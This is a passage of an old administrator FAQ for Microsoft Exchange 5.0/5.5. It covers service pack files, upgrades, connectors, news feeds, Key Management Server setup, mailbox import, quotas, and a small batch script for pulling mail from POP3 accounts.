Service Pack 1 from ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/Eng/Exchg5.5/SP1/Server/

Files to download:

SP1_550A.EXE | Server update for Alpha
SP1_550I.EXE | Server update for Intel
SP1_55CA.EXE | Chat server update for Alpha
SP1_55CI.EXE | Chat server update for Intel
SP1_55DC.EXE | Documentation
SP1_55FO.EXE | HTML Form Converter
SP1_55SS.EXE | Server support files (cluster,KMS,etc)
SP1_55XC.EXE | Exchange connector installation
SP1S550A.EXE | Server symbols for Alpha
SP1S550I.EXE | Server symbols for Intel
SP1S55CA.EXE | Chat server symbols for Alpha
SP1S55CI.EXE | Chat server symbols for Intel
SP1_55RE.EXE | Readme and HTML file

Hotfixes post Service Pack 1

PSP1STRI.EXE Store Fix

Exchange 5.0

Service Pack 1 from ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/Eng/Exchg5.0/Sp1/Server/

Files to download:

SP1_500A.EXE | Server update for Alpha
SP1_500I.EXE | Server update for Inter
SP1S500A.EXE | Server symbols for Alpha
SP1S500I.EXE | Server symbols for Intel

Service Pack 2 from ftp://ftp.microsoft.com/bussys/exchange/exchange-public/fixes/Eng/Exchg5.0/Sp2/Server/

Files to download:

SP2_500A.EXE | Server update for Alpha
SP2_500I.EXE | Server update for Inter
SP2S500A.EXE | Server symbols for Alpha
SP2S500I.EXE | Server symbols for Intel


Q. How can I retrieve mail from a POP3 mailbox and forward it to Exchange server?

A. If your ISP does not support ETRN, then you have to use a third party utility to retrieve the mail from a POP3 mailbox. One of these utilities is Mail essentials Small Business (http://www.gficomms.com). For one mailbox this is a freeware utility.

A more complete listing of utilities can be found on http://www.slipstick.com


Q. How do I upgrade from Exchange 5.0 to 5.5?

A. The Exchange 5.5 upgrade process actually performs a database upgrade before it actually copies any of the code of 5.5 to the server. This allows for a complete rollback in case the upgrade of the database fails. Below are the steps in performing the upgrade

  1. Start the setup.exe program as per a normal installation
  2. It will detect the existing installation and you will be asked if you want to Upgrade or Remove the existing installation. Click Upgrade
  3. A confirmation that the database will be reformatted is displayed. Click OK
  4. You will be shown the Database Upgrade Options. By default the Fault Tolerant Option is selected however this does require extra disk space as it makes a copy of the database and if the Fault Tolerant Option is not selected, you may not have enough drive space for this method. You may want to change the default location for the Fault Tolerant Upgrade temp files from the C:\TEMP location to a location on the database drive. Click OK to continue.
  5. The upgrade will progress. First the database will be upgraded (this may take up to 40 minutes per GB of original database). Next the code will be copied to the server, and finally the registry will be modified, the services installed, and other system changes will take place.
  6. The Exchange Services will then be re-started
  7. As with a normal installation, once completed you will be asked if you wish to run the optimizer utility.


Q. How do I uninstall Exchange?

A. To uninstall Exchange perform the following. Be aware you will lost all information.

  1. Run Exchange setup (setup.exe)
  2. Click "Remove All"
  3. Click "Yes" to the dialog box
  4. Click "Yes" to remove the shared components
  5. The files will then be removed
  6. Click OK to the remove complete confirmation


Q. How do I install a duplicate Exchange server?

A. With the concepts of sites in Exchange, it is possible to install multiple Exchange services in a site which will replicate to one another. Duplicates servers in a site provide fault-tolerance and load balancing. To install a duplicate server in a site perform the following. Servers within a site don't have to be in the same domain but should be connected by a fast connection, 128KB is the normal definition of a fast link.

  1. Logon as an Administrator of the domain currently hosting the Exchange service. If you logon as an account that does not have administrative rights on the current Exchange server you will be unable to add a duplicate server.
  2. Run Exchange's setup.exe
  3. Click Accept to the license agreement
  4. Setup will search for the installed components (such as IIS and ASP)
  5. Select the installation type. Click Custom/Complete Select the options and click OK
  6. Enter the product code number (xxx - xxxxxxx) and click OK
  7. Click OK to the displayed Product-ID that is generated by the setup program
  8. Check the "I agree that" for the licensing and click OK
  9. Select "Join an existing site" and enter the name the name of a server in the site you wish to join, e.g. Mars and click OK
  10. You will be shown details of the Exchange server on that site, including ORG name and site. Click Yes
    Exchange Site
  11. The service account currently used for the original Exchange Server will be shown, just enter its password (if this is on its own domain you should create a new service account for fault tolerant reasons (i.e. main domain controller not available)). Click OK
  12. Files will then be copied, services installed, registry updated and then the relevant services will be started. Once the Directory Service has started replication will occur between the sites. Once complete the other Exchange services will start
  13. Click OK to the replication dialogue box.
  14. You can then proceed to run Optimizer optionally as normal

You now have a duplicate Exchange server in the specified site.


Q. How do I connect Exchange sites?

A. If you configure multiple sites by installing new servers and entering a different site name (but the same organizational name) you can connect the sites using Exchanges built-in site connector. To connect sites using the built-in connector they must be able to communicate via RPC calls and to test this see Q. How can I check if servers can communicate via RPC's?. Many routes actually filter out RPC's so it is important you perform this test.

To add a connector between sites perform the following:

  1. Start the Exchange Administrator program on one of the servers (Start - Programs - Microsoft Exchange - Microsoft Exchange Administrator)
  2. You may need to choose a Exchange server to connect to
  3. Expand the server, expand the site name and finally expand Configuration
  4. Select Connections
  5. From the File menu select 'New Other' - 'Site Connector'
  6. Enter the name of the server that maintains the site you wish to connect to and click OK
  7. Information about the site that is hosted by the server and optional information can be entered. Once all details have been entered click OK. Information you may have to enter is in the Override tab which allows you to enter logon information for the connection if the sites are not in the same domain or part of a trust relationship.
  8. If there is no connection for vice-versa you will be asked if such a connection should be created

The connection will now be visible under the Connections tab.


Q. Exchange Security Knowledge Base list.

A. Below is a list of useful Knowledge Base articles.

1) How to install Exchange 5.5 with support for V1 and V3 Certificates for SMIME and Public/ Private Key encryption (Signing and Sealing Mail Messages). This uses the CA version 1.0 (Certificate Authority) in IIS 4.0 that comes in the NT 4.0 Option Pack. This requires the Updated CA Server. See these KB's.

Q192044 Setting Up X509v3 Certs on Exch 5.5 SP1 KMS with Local CertSrv
Q184695 Readme Notes for Certificate Server Update

2) How to setup SSL/TLS between between Exchange Server 5.0 /5.5 and Internet Email Clients, POP3, IMAP4, NNTP, HTTP, SMTP.

Q175439 XFOR: Enabling SSL For Exchange Server

3) How to setup SSL/TLS between Exchange Server and other SMTP (non-exchange) host. This requires enabling SSL for the SMTP protocol first. See Q175439 for instructions, but select SMTP as the Protocol to be used in Key Manger.

Q174755 XFOR: Connecting IMS to IMS with SASL

4) When you use Microsoft Outlook Express to connect to Microsoft Exchange Server, version 5.0 with Service Pack 1 installed, the Information Store may stop responding (crash). Fixed in the Latest Service Pack.

Q166627 XCLN: Outlook Express Crashes Store When SSL Is Used

5) When trying to access a mailbox in Internet Explorer version 3.02 when the WWW Service for the Internet Information Server (IIS) computer is configured to use Windows (NTLM) authentication only, you may receive the following error message: The Login Request was Denied. Fix is to upgrade to IE 4.0 or use Registry Entry.

Q173307 XWEB: "The Login Request was Denied" Error Message

6) If you configure the Internet Mail Service on two Microsoft Exchange Server computers to use Secure Sockets Layer (SSL) without authentication, you may receive a non-delivery report (NDR) when you attempt to send mail from one server to another through the Internet Mail Service. The text of the NDR includes a 505 error and indicates that authentication is required for the message to be delivered. Fixed in the Latest Service Pack for 5.5.

Q181481 XFOR: Non-Delivery Report When Using SSL Without Authentication

7) On July 17, 1998 Microsoft released an updated version of Schannel.dll. This latest version provides the following benefits: Updates the SChannel.dll used by IIS and Exchange Server for Encryption. See article for Details.

Q148427 Generic SSL (PCT/TLS) Updates for IIS and MS Internet Products
Q181937 Latest SGC-Enabled Schannel.dll Breaks IIS 3.0 Key Manager [iis]

8) Microsoft Proxy Server is designed to work well with other servers like Microsoft Exchange Server. Most Windows Sockets server applications are able to use the server proxy feature while installed on or behind the Proxy Server. Certain additional advanced settings may be required, based on your particular internal server configuration.

Q181420 How to Configure Exchange or Other SMTP with Proxy Server
Q187652 Accessing Data Published Behind MS Proxy Server 2.0
Q178532 Configuring Exchange Internet Protocols with Proxy Server
Q177153 Additional Proxy Server 2.0 Configurations [proxysvr]

9) This article discusses the known TCP/IP ports (TCP and/or UDP) that are used by services within Microsoft Windows NT version 4.0 and Microsoft Exchange Server version 5.0 and 5.5.

Q150543 WinNT, Terminal Server, & Exchange Services Use TCP/IP Ports [crossnet]

10) Microsoft Exchange Server versions 5.0 and 5.5 support a variety of Internet-focused protocols, including POP3, HTTP, LDAP, and NNTP. This article explains the different authentication forms for each protocol.

Q175440 Protocol Authentication on Exchange Server [exchange]


Q. How do I configure Exchange Directory Replication?

A. Once you have connected sites by a connector, be it Exchange, X.400 or Dynamic RAS, no data will be replicated until you configure the directory replication. You must have defined connections between the sites before Directory Replication can be configured.

To configure Directory Replication perform the following:

  1. Start the Exchange Administrator Program (Start - Programs - Microsoft Exchange - Microsoft Exchange Administrator)
  2. Expand the tree and expand the site, e.g. Operations, select Configuration then select Directory Replication
  3. From the File menu select 'New Other' and select 'Directory Replication Connector'
  4. The first dialog allows you to select (from a dropdown) the remote site name (only sites that are connected via a connector will be shown). You should enter the name of an Exchange server in the selected site. You also should leave the defaults of "Configure both sites". Click OK
  5. The general tab of the Directory Replicator will be displayed. You may enter an Administrative note if you wish. You may click the Schedule tab to select how often Directory Replication takes place. Selecting Always means changes will be replicated as they happen, this is OK if you don't care about bandwidth usage. Click OK.

The Directory Replicator between the sites is now configured and can be modified by double clicking on the replicator as part of the Directory Replication folder.


Q. How do I monitor an Exchange link?

A. It is possible to install link connectors which can be configured to perform a number of actions in the event of a link failure.

  1. Start the Exchange Administrator program
  2. Select the Monitors folder of the Configuration folder of the site
  3. From the File menu select 'New Other' - 'Link Monitor'
  4. Under the General tab you must enter a Directory Name which is a 64 character name identifying the monitor, a Display Name which will be shown in the Exchange Administrator application, a log file specified and how often the link should be checked (polled).
    Exchange Monitor
  5. Under the Notification tab you can add notification methods such as an e-mail, start a process or write an event log by clicking the 'New' button. You will also have the opportunity to test the method specified by clicking the Test button. Click OK to the notification dialog box.
  6. Under Servers you should select the Servers to Monitor in the left hand box and click Add, they will then be shown in the 'Monitor Server' area.
  7. The Recipients tab is used with non-Exchange servers that support "mail bounce" whereby a mail is sent to the server and a reply is expected back.
  8. The Bounce tab allows the times considered reasonable for a round trip.
  9. Once happy click OK


Q. How do I delete a server from an Exchange site?

A. If you have multiple servers in a site and a server no longer exists you can delete it from the Exchange Administrator program by performing the following:

  1. Start the Exchange Administrator Program
  2. Expand the site name, e.g. Legal, expand Configuration then Servers
  3. Select the server you wish to delete and press the DEL key
  4. A check will be performed that the server can't be found
  5. Once the server is not found accept any of the dialogs

The server will now be removed.


Q. How do I setup an Exchange forward?

A. A forward can be configured in a number of places. The first place is at the Exchange server:

  1. Start the Exchange Administrator program
  2. Select the Recipients folder of the site, e.g. Operations\Recipients
  3. From the File menu select 'New Custom Recipient'
  4. Select 'Internet Address' (to forward to an Internet address) and click OK
  5. Enter the E-mail address, e.g. colin@travers.com and click OK
  6. You will then be shown the normal recipient dialog where you can enter a name etc. The option to set an NT account will not be shown. Once you have entered all details click OK

People will now be able to send mail to this person and it will be forwarded accordingly.

You could also in Exchange Administrator setup a Custom Recipient (as above), then in the Delivery Options for your mailbox set an Alternate Recipient which points to the Custom Recipient that you just created. Select the "Deliver messages to both recipient and alternate recipient" checkbox. In the properties for the custom recipient you can select the option to hide it from the address list.

Other options that can be done at the client end include

  • Use the "Inbox Assistant"
  • Use the "Out Of Office" Assistant
  • Use the Rules Wizard


Q. How do I configure a X.400 Exchange connector?

A. Aside from the native Exchange Connector, the X.400 connector is the most common Exchange connector, allowing Exchange to connector to non-Exchange systems. While X.400 suffers a 20% drop in performance in comparison to the native Exchange connector it is still impressive.

X.400 is a common standard and Exchanges implementation is based on the 1988 standard. X.400 operates on the MTA stack and has to be installed before installing a X.400 connector. MTA stacks are available for TCP/IP, X.25 and TP4. It is available for RAS as well but that stack does not support X.400. In this walkthrough we will look at implementing X.400 over TCP/IP.

Only Exchange Enterprise edition has the X.400 connector and not the standard edition (also Enterprise has the SNADS and OV/VM(PROFS) connectors which standard does not have). If you only have standard edition and require X.400 connector you will need to upgrade or purchase the X.400 connector as a separate product from Microsoft.

The first step is to install the MTA transport stack

  1. Start the Exchange Administrator program
  2. Select 'New Other' - 'MTA Transport Stack' from the File menu
  3. Select "TCP/IP MTA Transport Stack" from the list and the local server and click OK
  4. A dialog for the configuration of MTA will be shown. You can leave the OSI information blank. Under the Connectors tab leave blank. Make sure you enter a display and directory name. Click OK

If you find you don't have a number of MTA stacks check you installed the X.400 connector at installation time. Re-run setup and click Add/Remove. Select Exchange Server and click Change Options. Check the "X.400 Connector" box and click OK. Click Continue. You will now be able to install the TCP/IP MTA stack.

Now the MTA stack is installed you can install the actual X.400 connector and configure it accordingly.

  1. Start the Exchange Administrator program
  2. Select the Connections container of the required site to add the connection too
  3. Select 'New Other' - 'X.400 Connector' from the File menu
  4. Accept the default "TCP/IP X.400 Connector" and click OK
  5. The X.400 configuration dialog will be displayed. Under the General tab enter a display and directory name (this can be any string of text). You should enter the remote MTA name (and a password if required) which is used to identify the Message Transfer Agent on the other host/site.
  6. Click the Schedule tab to configure replication settings
  7. Select the Stack tab to enter the IP address of name of the system to connect to. Again you can leave the OSI information blank.
  8. Use the Override tab to specify a different local MTA name/password
  9. Connected sites is only used when connecting Exchange sites via X.400.
  10. If you don't enter anything under Connected Sites you must configure an address space under the "Address Space" tab
  11. Delivery Restrictions and Advanced all along other non-essential settings to be set
  12. Once all information is entered click OK

You now have a functionality one-way X.400 link. You would now need to repeat the above for the opposite directory.


Q. How do I allow a user to administer Exchange?

A. When Exchange is installed the user who performs the installation is granted Exchange Administrator rights. To grant additional users the ability to administer Exchange perform the following:

  1. Logon as an Exchange administrator
  2. Start the Exchange Administrator program
  3. Select the site whose permissions you wish to modify
  4. From the File menu select Properties
  5. Click the Permissions tab
  6. Click Add and select the user (or group) to whom you wish to grant Exchange Admin rights
  7. Once usrs have been selected click OK. You now choose the role, e.g. "Permissions Admin" and click OK

The user (or group) will now have the granted rights to Exchange. You may want to create a group, e.g. Exchange Admins, grant this access in Exchange, then Add/Remove users to this group.


Q. How do I grant permission for people to create top level public folders?

A. By default all users can create top level folders however this can be changed if you would like to restrict this

  1. Start the Exchange Administrator program
  2. Expand the site and select Configuration
  3. Select "Information Store Site Configuration" and select Properties from the File menu
  4. Select the "Top Level Folder Creation" tab
  5. You will notice that under "Allowed to create top level folders" All is selected by default. Change this to list and click the Modify button
  6. You will be shown a list of Exchange mail boxes, select the ones that should be allowed to create top-level folders and click OK
  7. Click Apply then OK

Exchange top level creation
- Setting top level folder creation access

Alternatively you could have left is as All and modified the list of people who should not be able to create top-level folders.

If people are still logged in they will be able to continue to create top-level folders until they close Outlook/Exchange and restart it.


Q. How do I create public folders?

A. Public folders are administered/created using the 32-bit Exchange clients such as Exchange and Outlook.

To create a top-level public folder perform the following:

  1. Start the Exchange client
  2. From the View menu select "Folder List" if not already enabled
  3. Expand "Public Folders" and double click on "All Public Folders"
  4. From the File menu select New - Folder
  5. In the dialog enter a name and click OK
  6. You can also have an optional shortcut created on the Outlook bar at this point by clicking Yes to the "Add shortcut to Outlook Bar" dialog (if you have the Outlook Bar visible)

To create non-top level folders just select the folder that you wish to be the parent and select New - Folder from the File menu. You will then be able to name the sub-folder as with above.


Q. How do I connect my Exchange server to a SMTP server?

A. Exchange Server 5.5 ships with the Internet Mail Service which allows Newsgroup feeds and, among other things, connections to a SMTP mailbox.

You will need a connection method to the SMTP mailbox, for example a RAS dial-up connection to an ISP. If you are connecting via a firewall make sure the ports used by POP and SMTP and not disallows (ports 25, 110 and 995).

Before doing any of this you should ensure DNS is correctly configured for you local domain (or this may be done by the ISP) by adding a MX record for the Exchange server in DNS (this is not needed if you are connecting via a RAS dial-up connection and just connecting to a specific host).

In this example we will connect to a SMTP mailbox at a ISP.

  1. Start the Exchange Administrator program
  2. Expand the root, select your site then expand that, expand Configuration and select the Connections container
  3. Select "New Other" - "Internet Mail Service" from the File menu
  4. Click Next to the introduction dialog
  5. Click Next to the dialog outlining the steps that should have been completed (DNS configuration etc)
  6. Select the Exchange server that will have the IMS installed and check the "Allow internet mail through a dial-up connection". Click Next
  7. Select a phone book entry and click Next
  8. Check the "Route all mail through a single host" and enter the TCP/IP address or hostname of the host, e.g. SMTP.DIAL.PIPEX.COM. Click Next
  9. Check the "All internet mail addresses" and click Next
  10. Next specify the name that should appended to the mailbox names, e.g. ntfaq.com. Click Next
  11. Select the mailbox to be used to send notification/non-delivery reports to. Click Next
  12. Enter the Exchange Service account password and click Next
  13. A number of changes will occur and an extra service added.

To configure items such as the dial-up account username and password double click on "Internet Mail Service" under Configuration\Connections, select the Dial-up Connections tab and click Logon Information. From this tab you can also configure time-out and how ofter to dial out.

If you have problems try applying Service Pack 1 which I found fixes a number of problems.


Q. How do I connect my Exchange server to a NEWS feed?

A. Exchange Server 5.5 has the ability to accept a news feed and publish to the Public Folders area. It can also be configured to post back any articles posted by your networks user to the appropriate news server.

  1. Start the Exchange Administrator tool
  2. Expand the sites, expand Configuration and select Connections
  3. From the File menu select "New Other" - "Newsfeed"
  4. Click Next to the welcome dialog
  5. Select the Exchange server to install from the drop down list and enter a USENET site name (you can except the default which will be <sitename>.<domain>, e.g. operations.savilltech.com. Click Next
  6. Select the type of newsfeed, inbound and output, inbound only or outbound only. You also need to specify the type of feed, push or pull. Push means you wait for incoming to be send to you, pull means at a scheduled interval you go and grab the news posts off of the news server. Click Next.
  7. Select the connection type, Lan or dial-up. If dial-up you will need to select a RAS phonebook entry and enter the connection username and password (if it supports CHAP) or make sure you have an automated script configured. Click Next
  8. Next select how often to connect to the news server, 15 minutes, 1 hour, 3 hours, 6 hours, 12 hours or 24 hours. You can change this to be more specific later if you wish. Click Next
  9. Enter the USENET site name, e.g. msnews.microsoft.com. Click Next
  10. Enter the IP address or hostname of the news server. Click Next
  11. If you require a password to connect to the news server enter it here otherwise leave it blank and click Next
  12. Click Next to the summary dialog
  13. Select an Internet News administrator by clicking the Change button and click Next
  14. Next you have to tell the configuration program where to get a list of newsgroups on the server. You can choose to import from a current file, download now or to configure it later. Click Next. If you select "Download Now" after you click Next it will connect (if via RAS it will dial out) and retrieve the news list. This could take a while depending on the news server.
  15. You will then be shown all the newsgroups available and you should select which branches you wish to download messages from as part of your feed. To select just click one and click Include, the icon for the newsgroup will change. When finished click Next
  16. Click Finish

It will now connect for the first time and get an initial feed for all newsgroups selected.

Exchange News feed
- Always download the Exchange Admin newsgroup :-), don't we all?

Clients will now be able to view via the Folders List in Outlook, Public Folders - All Public Folders - Internet Newsgroups - microsoft .....

You can change any details but double clicking on the appropriate Newsfeed entry under Connections. For example click Schedule allows you to specify how often to connect at certain times of the day/days of the week.

If you are connecting via dial-up you can change the time-out parameter as follows:

  1. Start the Exchange Administrator program
  2. Select the site, then expand Configuration and select Protocols
  3. Double click on "NNTP (News) Site Defaults"
  4. Select the "Idle Time-out" tab
  5. Change the close idle connections value (between 10 and 32767) and click Apply then OK


Q. What web sites have good Exchange information?

A. Below are a list of some of the best sites I have found

  • http://www.slipstick.com/ - Information on the Exchange and Outlook 98 clients
  • http://www.swinc.com/ - Information on connecting Exchange to various other mail systems as well as downloadable utilities
  • http://www.exchangestuff.com/ - General Exchange information
  • http://www.microsoft.com/exchange/default.asp - Microsoft Exchange home page
  • http://support.microsoft.com/support/exchange/content/whitepapers/whitepapers.asp - Various Exchange Whitepapers
  • http://www.exchangesoftware.com/ - Add on information for Exchange

Good Downloads are:

  • Migration Wizard - http://backoffice.microsoft.com/downtrial/moreinfo/migrationWizard.asp
  • Exchange Connector for Lotus Notes - http://backoffice.microsoft.com/downtrial/moreinfo/connectorLotus.asp
  • Exchange Connector for SNADS - http://backoffice.microsoft.com/downtrial/moreinfo/connectorSNADS.asp
  • Exchange Connector for IBM OfficeVision/VM - http://backoffice.microsoft.com/downtrial/moreinfo/connectorIBMS.asp
  • Importers for cc:Mail Archives - http://backoffice.microsoft.com/downtrial/moreinfo/importers_ccMail.asp


Q. How do I download to Exchange from multiple POP3 mail boxes?

A. Exchange does not really support the downloading of mail from POP3 since you would be asking a Server to act like a client. A 3rd party piece of software called PULLMAIL which can be downloaded from http://www.swsoft.co.uk/index.asp?page=freesoftware can be used to download from a POP3 mailbox and deposit in an Exchange mailbox. Using the command procedure below it can be made to download from multiple POP3 mailboxes and depost in the correct mailbox.

Enter the following into file getmail.cmd and save.

@ECHO OFF
TITLE GetMail

REM getmail.cmd 20-Aug-1997 Luke Brennan
REM
REM Get the POP3 mail in POP3 accounts and deposit into
REM EXCHANGE accounts
REM
REM uses the PULLMAIL program from -> http://www.swsoft.co.uk/pullmail
REM PULLMAIL specific Info/support -> pullmail@swsoft.co.uk
REM general enquiries -> mark@swsoft.co.uk
REM

SET POPUSERS=%SystemRoot%\POPUSERS.DAT
SET PARSEARG="eol=; tokens=1,2,3,4* delims=, "

REM RASPHONE -d OzEmail
For /F %PARSEARG% %%i in (%POPUSERS%) Do PULLMAIL %%i %%j %%k /to:%%l
REM RASPHONE -h OzEmail

REM
TITLE Command Prompt

The next step is to create the file that GETMAIL.CMD will read in, POPUSERS.DAT. Below is an example. GETMAIL.CMD expects to find the file in the %systemroot% directory (e.g. d:\winnt) however you can change that by altering the "SET POPUSERS=.." line.

POPusers.dat
; space or comma delimited file
; 1. ISP pop server 2. POP3 account 3. POP3 password 4. EXCHANGE username
;
savcom.demon.co.uk rita pass savillr
cello.cchs.usyd.edu.au brennan ###### LDB
savill.pipex.co.uk johnsavill pass savillj


Q. How do I install the Key Management Server?

A. Key Management Server allows secure e-mail via both signed and encrypted messages. To install perform the following:

  1. Log on the Exchange server as an Exchange Administrator
  2. Insert the Exchange Server 5.5 CD
  3. Run the Exchange SETUP.EXE
  4. Click Add/Remove
  5. Select "Microsoft Exchange Server" and click Change Option
  6. Check "Key Management Server" and click OK
  7. Click Continue
  8. Enter the site services account and password and click OK
  9. You now have an option for the special start password to be displayed (only once) and you need to securely store it and enter it every time you start, or select this to write to a floppy disk and a backup copy and click OK.
  10. If you selected write to disk you will be asked where to write to. By default it is A: however you can change this to a permanent drive. If you do permanently store it then anyone will be able to have the secure KM password.
  11. The setup will complete. You should now reinstall any service packs installed.

You will notice whether you choose to store the password a single file kmserver.pwd will be created with a single word in, for example:

SWOBRQSBQZPSPQC

The final step is to configure the Key Management service to start automatically at reboot time.

  1. Start the Services Control Panel applet (Start - Settings - Control Panel - Services)
  2. Select "Microsoft Exchange Key Management Server"
  3. Click Startup
  4. Select Automatic and click OK
  5. You can also choose to start now by clicking Start. You will have to enter the disk containing the password or manually enter the password.


Q. How do I manage the Certificate Authority of Key Management Server?

A. This is managed through the Exchange Administrator program as follows but make sure that the Microsoft Key Management service is running (Start - Settings - Control Panel - Services)

  1. Start the Exchange Administrator Program
  2. Expand the sites and select Configuration
  3. Double click on CA
  4. You will be asked for the password. If this is the first time enter "password" (lowercase, no quotes). You can also select for it to save the password for up to 5 minutes to avoid having to retype it in the short term. Click OK
  5. Once logged in various functions can be performed

To change your CA password perform the above then:

  1. Select the Administrators tab
  2. Click "Change My KM Server Password"
  3. Enter the current password and set a new one. Click OK
  4. Click OK to the main dialog

You can also add new KM administrators from the Administrators tab


Q. How do I enable advanced security for a user?

A. By default users do not have advanced security after GM server is installed. To enable for a user perform the following actions

  1. Start the Exchange Administrator program
  2. Select the site and select the Recipients container
  3. Double click on the mailbox who you want to enable advanced security for, e.g. Garfield
  4. Click the Security tab. You will be asked for your KM server password, only KM administrators can view the security tab, not just normal Exchange administrators. Enter the password and check the "Remember box" if you want to make multiple changes to mailboxes and don't want to retype the password everytime
  5. You will notice the current status is "Undefined". Click the "Enable Advanced Security" button
  6. A dialog will be shown with the temporary key or it will be mailed to the user depending on your options and configuration. Click OK

To allow the key to be sent via e-mail to the user perform the following:

  1. Start the Exchange Administrator Program
  2. Expand the sites and select Configuration
  3. Double click on CA
  4. Select the Enrollment tab
  5. Check the "Allow email to be sent to the user" box
  6. You can also change the welcome message that is sent by clicking "Edit Welcome Message"
  7. Click OK

Now notify the recipient to read their mail or give them the password and they should perform the following:

  1. Start the Outlook client
  2. Select Options from the Tools menu
  3. Select the Security tab
  4. In the "Secure email" area click "Change Settings"
  5. Click "Get a Digital ID" in the "Digital IDs" section
  6. Select "Set up Security for me on the Exchange Server" and click OK
  7. Enter the password and click OK
  8. Click OK to the confirmation dialog
  9. The client will then be sent a reply message. Open the message and click OK to all dialog boxes and then Yes to the installation of the Certificate.

Install Key
- Hmmm, looks like a year 2000 problem!

Options for which security to use, signing or encryption can be set using the Security tab of the clients Options dialog or on an individual message basis by clicking the Options button.


Q. How do I automatically create an Exchange mailbox for all members of the domain?

A. Exchange can import users from a comma-separated-file (CSV) of the format:

Obj-Class,Common-Name,Display-Name,Home-Server,Comment
Mailbox,Administrator,,~SERVER,Built-in account for administering the computer/domain
Mailbox,batman,Bruce Wayne,~SERVER,
Mailbox,denise,denise van outen,~SERVER,
Mailbox,Exchange Service,Exchange Service,~SERVER,
Mailbox,Guest,,~SERVER,Built-in account for guest access to the computer/domain
Mailbox,IUSR_ODIN,Internet Guest Account,~SERVER,Internet Server Anonymous Access
Mailbox,IWAM_ODIN,Web Application Manager account,~SERVER,Internet Server Web Application Manager identity Mailbox,krbtgt,,~SERVER,Key Distribution Center Service Account
Mailbox,MTS_ODIN,MTS_ODIN,~SERVER,Transaction Server system package administrator account

Exchange has the ability to generate this file from either a NT domain listing or a NetWare account list.

  1. Start the Exchange Administrator Program
  2. From the Tools menu select "Extract Windows NT Account List" (also notice the NetWare option)
  3. Select the domain and a domain controller and click the browse button to select a directory and filename for the output. Click OK
  4. A summary will be shown listing any errors encountered. Click OK

The file generated has ALL accounts in the domain (as can be seen in the example), for example Exchange service accounts, guest account, IIS accounts so you may want to edit the file generated and remove the lines for whom accounts should not be created.

Once the file has been edited to satisfaction perform the following:

  1. Start the Exchange Administrator Program
  2. From the Tools menu select "Directory Import"
  3. Select the Windows NT domain and the MS Exchange Server. You can also select the container however you should leave this as the default "Recipients"
  4. Click the "Import File" and enter the location and name of the .CSV file created earlier. You can also select to create a Windows NT account however since these accounts were generated by a domain listing its not needed. Click the Import button
  5. The file will be read in and mailboxes created. Again a summary will be displayed showing any errors.

Exchange Domain import
- Example Import from Domain file

Every member of your domain now has a mailbox on the Exchange server. In larger domains with multiple Exchange sites you may edit the file and import some people into one Exchange site and others into a different site depending on their geographical location.


Q. How do I avoid having to enter the Key Management password?

A. If you have the Key Management Server installed each time you start the KM service you have to either insert a disk with the password on or manually enter it depending on your configuration.

It is possible to configure the service to look on the hard disk although this is not recommended due to security reasons however on development systems this may be OK.

  1. Create a directory on your local harddisk (or you could use an existing directory)
  2. Copy the file kmserver.pwd from the floppy disk created to the local directory, e.g. d:\exchsrvr
  3. Start the registry editor (regedit.exe)
  4. Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Exchange\KMServer
  5. Double click on MasterPasswordPath
  6. Change from A:\ to the directory, e.g. d:\exchsrvr. Click OK
  7. Close the registry editor

Next time the service is started it will look for the password file on the local harddisk and not prompt for a disk to be entered.


Q. I archived some .pst files to a CD-ROM but unable to load the files.

A. When Outlook opens a PST file it needs write access so you will be unable to load a file from a read-only media such as a CD-ROM drive.

To resolve simply copy the file to a writeable media and read accordingly.

Messages can be send to a .pst file by using Outlooks archive function. To open with Outlook 98 select File - Open - Personal Folders File.

If you store the PST files in a ZIP file on a CD they can be accessed (as when you access a ZIP file it is decompressed locally which would be writable).


Q. How can I limit Exchange mailbox size?

A. Exchange comes built in with the ability to limit and notify of quota violations.

To set the limits perform the following:

  1. Start the Exchange Administrator Program
  2. Expand the organisation, then the site and then the servers branch
  3. Expand the server whose quota's you wish to set, select "Private Information Store". Select Properties from the file menu
  4. Select the general tab
  5. You can set a policy for the keeping of deleted items (this is useful if you have users who delete mail they wanted to keep and will save you having to fish out a backup. Be careful of setting the "Don't permanently delete items until the store has been backed up" as if backups are not often this could affect performance badly.
  6. The bottom half of the dialog allows you to set actions for quotas, namely
    - A warning to be issued, e.g. 900 KB
    - Stop the user sending mail, e.g. 1100 KB
    - Stop the user receiving mail, e.g. 1500 KB
  7. Click Apply then click OK

Individual limits can be set for users by double clicking on them under the Recipients branch and selecting the "Limits" tab. Under "Information Store storage limits" sections unselect the "Use information store defaults" and set explicit values for the user. Useful for your own mailbox ;-)

Now the values for the warning have been configured you must tell the system how often to warn the mailbox owner.

  1. Start the Exchange Administrator Utility
  2. Expand the organisation and site
  3. Expand Configuration
  4. Double click on the "Information Store Site Configuration"
  5. Select the "Storage Warnings" tab
  6. Select the warning level, either never, always (which is every 15 minutes) or at Selected Times.
  7. Click Apply then OK

If a client exceeds the limit they will be given warnings to the effect of

Quota gone bad :-)

If the client does not have the helpful Office Assists enabled they will just get a normal dialog box.

A message from the "System Administrator" with the conditions of the mailbox quotas will also be sent:

Your mailbox has exceeded one or more size limits set by your administrator.
Your mailbox size is 1518 KB.

Mailbox size limits:
You will receive a warning when your mailbox reaches 900 KB.
You cannot send mail when your mailbox reaches 1100 KB.
You cannot send or receive mail when your mailbox reaches 1500 KB.

You may not be able to send or receive new mail until you reduce your mailbox size. To make more space available, delete any items that you are no longer using or move them to your personal folder file (.pst). Items in all of your mailbox folders including the Deleted Items and Sent Items folders count against your size limit. You must empty the Deleted Items folder after deleting items or the space will not be freed.

See client Help for more information.


Q. How can I limit message sizes in Exchange?

A. Maximum size limits can be set on the Message Transfer Agent (MTA) for inter server traffic by selecting the General tab of the MTA configuration dialog of the server. The message would then be returned to sender in the event of the message being to large however for the people on the same server this limit is not used.

Limits can also be set on a per user basis for all traffic:

  1. Start the Exchange Administrator Program
  2. Expand the Organisation and select the Recipients branch
  3. Select the user and select Properties from the File menu
  4. Select the Limits tab
  5. Its then possible to set outgoing and incoming maximum message sizes
  6. Click Apply then OK

Limit size
- Setting the maximum outgoing size to 2MB


Q. How can I undelete mail in Outlook?

